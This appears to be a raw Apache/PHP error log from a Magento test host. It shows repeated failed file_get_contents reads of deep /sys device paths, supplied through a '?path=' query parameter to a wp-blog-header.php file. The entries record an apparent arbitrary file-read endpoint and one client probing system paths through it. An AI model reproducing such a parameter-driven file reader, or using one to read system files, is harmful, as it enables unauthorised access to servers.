[Thu Mar 26 11:09:45.606629 2026] [php:warn] [pid 3106405] [client 74.7.241.26:52770] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:ac
[Thu Mar 26 11:09:49.320288 2026] [php:warn] [pid 3106405] [client 74.7.241.26:52770] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 11:09:49.845195 2026] [php:warn] [pid 3106405] [client 74.7.241.26:52770] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ac
[Thu Mar 26 11:09:52.449994 2026] [php:warn] [pid 3106405] [client 74.7.241.26:52770] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/drivers/ec
[Thu Mar 26 11:09:55.197166 2026] [php:warn] [pid 3106405] [client 74.7.241.26:52770] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:bc
[Thu Mar 26 11:10:02.563595 2026] [php:warn] [pid 3106405] [client 74.7.241.26:52770] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:eb/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:eb/device:ec
[Thu Mar 26 11:10:04.754460 2026] [php:warn] [pid 3106405] [client 74.7.241.26:52770] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:10:05.258273 2026] [php:warn] [pid 3106405] [client 74.7.241.26:52770] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/drivers/ec
[Thu Mar 26 11:10:06.859500 2026] [php:warn] [pid 3106405] [client 74.7.241.26:52770] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:10:08.974151 2026] [php:warn] [pid 3106405] [client 74.7.241.26:52770] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:ee
[Thu Mar 26 11:10:11.097681 2026] [php:warn] [pid 3106405] [client 74.7.241.26:52770] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:10:12.671635 2026] [php:warn] [pid 3106405] [client 74.7.241.26:52770] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ba
[Thu Mar 26 11:10:13.209874 2026] [php:warn] [pid 3106405] [client 74.7.241.26:52770] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 11:10:15.251128 2026] [php:warn] [pid 3106405] [client 74.7.241.26:52770] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ee
[Thu Mar 26 11:10:20.656831 2026] [php:warn] [pid 3106405] [client 74.7.241.26:52770] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/drivers/ac
[Thu Mar 26 11:10:21.629296 2026] [php:warn] [pid 3106405] [client 74.7.241.26:52770] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/drivers/ec
[Thu Mar 26 11:10:23.730594 2026] [php:warn] [pid 3106405] [client 74.7.241.26:52770] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:10:24.749449 2026] [php:warn] [pid 3106405] [client 74.7.241.26:52770] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 11:10:26.323283 2026] [php:warn] [pid 3106405] [client 74.7.241.26:52770] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:ea
[Thu Mar 26 11:10:45.712714 2026] [php:warn] [pid 3106409] [client 74.7.241.26:55864] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:da
[Thu Mar 26 11:10:49.311334 2026] [php:warn] [pid 3106409] [client 74.7.241.26:55864] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:10:50.356457 2026] [php:warn] [pid 3106409] [client 74.7.241.26:55864] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 11:10:50.881925 2026] [php:warn] [pid 3106409] [client 74.7.241.26:55864] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:10:54.702875 2026] [php:warn] [pid 3106409] [client 74.7.241.26:55864] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:dc
[Thu Mar 26 11:10:56.892441 2026] [php:warn] [pid 3106409] [client 74.7.241.26:55864] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:11:08.969044 2026] [php:warn] [pid 3106409] [client 74.7.241.26:55864] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 11:11:11.112677 2026] [php:warn] [pid 3106409] [client 74.7.241.26:55864] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:11:16.476416 2026] [php:warn] [pid 3106409] [client 74.7.241.26:55864] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:fa
[Thu Mar 26 11:11:20.598185 2026] [php:warn] [pid 3106409] [client 74.7.241.26:55864] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 11:11:23.303739 2026] [php:warn] [pid 3106409] [client 74.7.241.26:55864] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:fa
[Thu Mar 26 11:11:24.283935 2026] [php:warn] [pid 3106409] [client 74.7.241.26:55864] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/drivers/ec
[Thu Mar 26 11:11:25.950408 2026] [php:warn] [pid 3106409] [client 74.7.241.26:55864] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:11:27.037601 2026] [php:warn] [pid 3106409] [client 74.7.241.26:55864] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/drivers/ac
[Thu Mar 26 11:11:31.446178 2026] [php:warn] [pid 3106405] [client 74.7.241.26:41680] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 11:11:35.739106 2026] [php:warn] [pid 3106405] [client 74.7.241.26:41680] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:be
[Thu Mar 26 11:11:37.839564 2026] [php:warn] [pid 3106405] [client 74.7.241.26:41680] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:11:39.040227 2026] [php:warn] [pid 3106405] [client 74.7.241.26:41680] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:fe
[Thu Mar 26 11:11:41.135720 2026] [php:warn] [pid 3106405] [client 74.7.241.26:41680] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/device:ac
[Thu Mar 26 11:11:41.652634 2026] [php:warn] [pid 3106405] [client 74.7.241.26:41680] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/drivers/ec
[Thu Mar 26 11:11:45.391020 2026] [php:warn] [pid 3106405] [client 74.7.241.26:41680] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:cc
[Thu Mar 26 11:11:52.328492 2026] [php:warn] [pid 3106405] [client 74.7.241.26:41680] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/drivers/ac
[Thu Mar 26 11:11:53.839905 2026] [php:warn] [pid 3106405] [client 74.7.241.26:41680] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/drivers/ec
[Thu Mar 26 11:11:54.391398 2026] [php:warn] [pid 3106405] [client 74.7.241.26:41680] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/drivers/ac
[Thu Mar 26 11:11:59.758949 2026] [php:warn] [pid 3106405] [client 74.7.241.26:41680] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ac
